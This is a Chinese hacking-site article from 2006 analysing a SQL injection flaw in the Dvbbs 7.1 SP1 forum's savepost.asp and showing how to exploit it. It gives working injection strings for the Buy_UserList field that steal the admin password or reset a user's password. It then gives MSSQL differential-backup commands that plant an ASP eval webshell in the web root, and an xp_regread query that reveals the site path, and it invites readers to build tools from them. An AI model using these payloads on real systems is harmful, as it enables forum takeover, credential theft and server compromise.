⊙ 在线帮助
⊙ 添加收藏
⊙ 网站地图
最新资讯
技术中心
下载园地
漏洞总汇
在线书籍
X-档案
法规标准
技术论坛
 您现在的位置 >> 首页 >> 技术中心 >> 黑客技术 >> 漏洞分析 >> 程序脚本
 
 
dvbbs7.1 sp1 savepost.asp注入漏洞的研究和利用

【责 编】:AcOol
【作 者】:风尘浪子
【时 间】:2006-5-15
【浏 览】:
【出 处】:邪恶八进制
【字 体】:[   ]
    漏洞资料:
http://coolersky.com/leak/programme/bbs/2006/0515/515.html
    最新漏洞出来了,之前看见bct的人在qq群叫卖漏洞,要卖500大洋。没想到两天不到,就把漏洞发了。从http://bbs.dvbbs.net/dispbbs.asp?boardID=8&ID=1187367&page=1下了个补丁,看了看,修改了许多。仔细看看Savepost.asp,发现也修改了许多地方。怎么办呢,看不到修改在哪里,只好自己朝下看了。
    看到下面:
If Not IsNumeric(Buy_VIPType) Then Buy_VIPType = 0
          If Buy_UserList<>"" Then Buy_UserList = Replace(Replace(Replace(Buy_UserList,"|||",""),"@@@",""),"$PayMoney","")
          ToolsBuyUser = "0@@@"&Buy_Orders&"@@@"&Buy_VIPType&"@@@"&Buy_UserList&"|||$PayMoney|||"
          GetMoneyType = 3
          'UseTools = ToolsInfo(4)
    再朝下看:
Public Sub Insert_To_Announce()
    '插入回复表
    DIM UbblistBody
    UbblistBody = Content
    UbblistBody = Ubblist(Content)
    SQL="insert into "&TotalUseTable&"(Boardid,ParentID,username,topic,body,DateAndTime,length,RootID,layer,orders,ip,Expression,locktopic,signflag,emailflag,isbest,PostUserID,isupload,IsAudit,Ubblist,GetMoney,UseTools,PostBuyUser,GetMoneyType) values ("&Dvbbs.boardid&","&ParentID&",'"&username&"','"&topic&"','"&Content&"','"&DateTimeStr&"','"&Dvbbs.strlength(Content)&"',"&RootID&","&ilayer&","&iorders&",'"&Dvbbs.UserTrueIP&"','"&Expression(1)&"',"&locktopic&","&signflag&","&mailflag&",0,"&Dvbbs.userid&","&ihaveupfile&","&IsAudit&",'"&UbblistBody&"',"&ToMoney&",'"&UseTools&"','"&ToolsBuyUser&"',"&GetMoneyType&")"
  Dvbbs.Execute(sql)
    可以看到Buy_UserList这个变量过滤有问题,呵呵,这个变量又导致ToolsBuyUser这个变量有问题。的确是可以注射,呵呵。
    再回过头来看补丁里面:
insert里面有修补:&dvbbs.checkstr(ToolsBuyUser)&"
    看来应该是这个地方了。
    利用起来最好是sql版本,可以updata改管理员密码,或者差异备份得shell。
    利用办法嘛,先注册一个id,找个版面发帖子,帖子内容下面有个选择帖子类型。选择---论坛交易币设置。
    下面是表单内容:
<option value="">选择帖子类型</option>
<option value="0">赠送金币贴</option>
<option value="1">获赠金币贴</option>
<option value="2">论坛交易帖设置</option>
</select>
金币数量:<input name="ToMoney" size="4" value="">
<div id="Buy_setting" style="display:none">
购买数量限制:<input name="Buy_Orders" size="4" value="-1">(设置为“-1”则不限制)<BR>
VIP用户浏览选项:不需要购买<INPUT TYPE="radio" NAME="Buy_VIPType" value="0" checked="checked">,需要购买<input type="radio" name="Buy_VIPType" value="1" /><br />
可购买用户名单限制:<input name="Buy_UserList" size="30" value="" />(每个用户名用英文逗号“,”分隔符分开,注意区分大小写)
</div>
    就是这个地方了,hoho。
    下面有个“可购买名单限制”,里面就填写:
xjy111',0);update/**/Dv_User/**/set/**/UserEmail=(select[Password]from/**/Dv_admin/**/where[Username]='yellowcat')/**/where[UserName]='qq156544632';--
    提交成功。看看我的Email。晕死,居然成了空白。不知道为什么哈。
    来点直接的:
coolidea|||123',0);update/**/Dv_User/**/set/**/UserPassword='469e80d32c0559f8'/**/where[UserName]='qq156544632';--
    这回好了,先退出,用admin888这个密码直接成功登录。
    好了,语句没有问题,大家现在可以自由发挥,会写工具的,吧delphi什么的搬出来。
    直接改管理员的密码进后台,可以恢复数据库的办法得到shell(参考angel的文章,dvbbs7.1sql版本依然可以吧)或者差异备份(后台可以看到web绝对路径):

create table aspshell (str image);
declare @a sysname select @a=db_name() backup database @a to disk='D:\wwwroot\dvbbs7sp1\wwwroot\qq156544632.bak;
insert into aspshell values(0x3C256576616C20726571756573742822232229253E);
declare @a sysname select @a=db_name() backup database @a to disk='D:\wwwroot\dvbbs7sp1\wwwroot\qq156544632.asp' with differential;
drop table aspshell;

    另外一种得到web绝对路径办法(从职业欠钱兄弟那里看到的)
建立一个临时表,存放读取到的信息
create table regread(a varchar(255),b varchar(255));
使用xp_regread这个函数读取注册表信息得到虚拟目录路径,并存入临时表中
insert regread exec master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SYSTEM\CONTROLSet001\Services\W3SVC\Parameters\Virtual Roots', '/'
读取信息
update dv_boke_user set boketitle=(select top 1 b from regread) where bokename='admin'
    至于acess版本没有研究。
·本站特别声明不要转载或作者授权本站独家播发的文章,请勿转载。
·本站原创文章可自由转载,但本站作者及本站链接必须保留。
·非本站原创文章可自由转载,请按作者及文章出处一节,自行链接。
·转载之图片、文件,链接请不要盗链到本站,且不准打上各自站点的水印,亦不能抹去我站点水印。

+ 本站推荐 +
·ARP病毒问题的处理
·千兆以太网技术综述
·解析来自Autorun.inf文件的攻击
·破解Windows XP组策略的“锁死
·Linux Kernel 2.6.13 <= 2.6.1
+ 相关文章 +
·也谈跨站脚本攻击与防御
·Five common Web application
·Dvbbs7.1 sp1 SQL版savepost.a
·phpBB 2.0.12非法获取管理员权
·“站内搜索写法一个SQL inject
+ 热点文章 +
·没有硝烟的战争:网络禁用与突
·“Worm.Win32.Viking.i”病毒分
·MSN登陆问题(MSN不能登陆的N种
·CnsMinKP.sys文件损坏导致系统
·Ethereal使用入门
+ 原创文章 +
·“Worm.Win32.Viking.i”病毒分
·信息安全产业三部曲之“敦刻尔
·Dvbbs7.1 sp1 SQL版savepost.a
·针对西京大学网站的一次安全性
·phpBB 2.0.12非法获取管理员权
 
 
关于站点 | 免责申明 | 版权隐私 | 业务合作 | 提供捐助 | 联系我们 Copyright © 2001-2005 CoolerSky. All Rights Reserved.